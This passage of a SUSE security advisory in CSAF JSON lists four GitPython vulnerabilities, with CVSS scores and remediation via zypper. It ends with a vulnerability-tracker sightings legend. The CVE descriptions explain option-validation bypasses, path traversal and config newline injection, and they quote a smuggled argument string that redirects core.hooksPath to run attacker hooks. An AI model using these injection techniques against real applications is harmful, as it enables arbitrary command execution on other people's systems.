"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.44-160000.3.1.noarch as component of SUSE Linux Enterprise Server 16.0",
"product_id": "SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
},
"product_reference": "python313-GitPython-3.1.44-160000.3.1.noarch",
"relates_to_product_reference": "SUSE Linux Enterprise Server 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.44-160000.3.1.noarch as component of SUSE Linux Enterprise Server for SAP applications 16.0",
"product_id": "SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
},
"product_reference": "python313-GitPython-3.1.44-160000.3.1.noarch",
"relates_to_product_reference": "SUSE Linux Enterprise Server for SAP applications 16.0"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42215",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42215"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42215",
"url": "https://www.suse.com/security/cve/CVE-2026-42215"
},
{
"category": "external",
"summary": "SUSE Bug 1264604 for CVE-2026-42215",
"url": "https://bugzilla.suse.com/1264604"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "important"
}
],
"title": "CVE-2026-42215"
},
{
"cve": "CVE-2026-42284",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42284"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(\" \".join(multi_options)). A string like \"--branch main --config core.hooksPath=/x\" passes validation (starts with --branch), but after split becomes [\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42284",
"url": "https://www.suse.com/security/cve/CVE-2026-42284"
},
{
"category": "external",
"summary": "SUSE Bug 1264605 for CVE-2026-42284",
"url": "https://bugzilla.suse.com/1264605"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "important"
}
],
"title": "CVE-2026-42284"
},
{
"cve": "CVE-2026-44243",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44243"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0027s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44243",
"url": "https://www.suse.com/security/cve/CVE-2026-44243"
},
{
"category": "external",
"summary": "SUSE Bug 1264606 for CVE-2026-44243",
"url": "https://bugzilla.suse.com/1264606"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "moderate"
}
],
"title": "CVE-2026-44243"
},
{
"cve": "CVE-2026-44244",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44244"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python\u0027s configparser without validating for newlines. GitPython\u0027s own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header - so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44244",
"url": "https://www.suse.com/security/cve/CVE-2026-44244"
},
{
"category": "external",
"summary": "SUSE Bug 1264608 for CVE-2026-44244",
"url": "https://bugzilla.suse.com/1264608"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-18T09:43:07Z",
"details": "important"
}
],
"title": "CVE-2026-44244"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.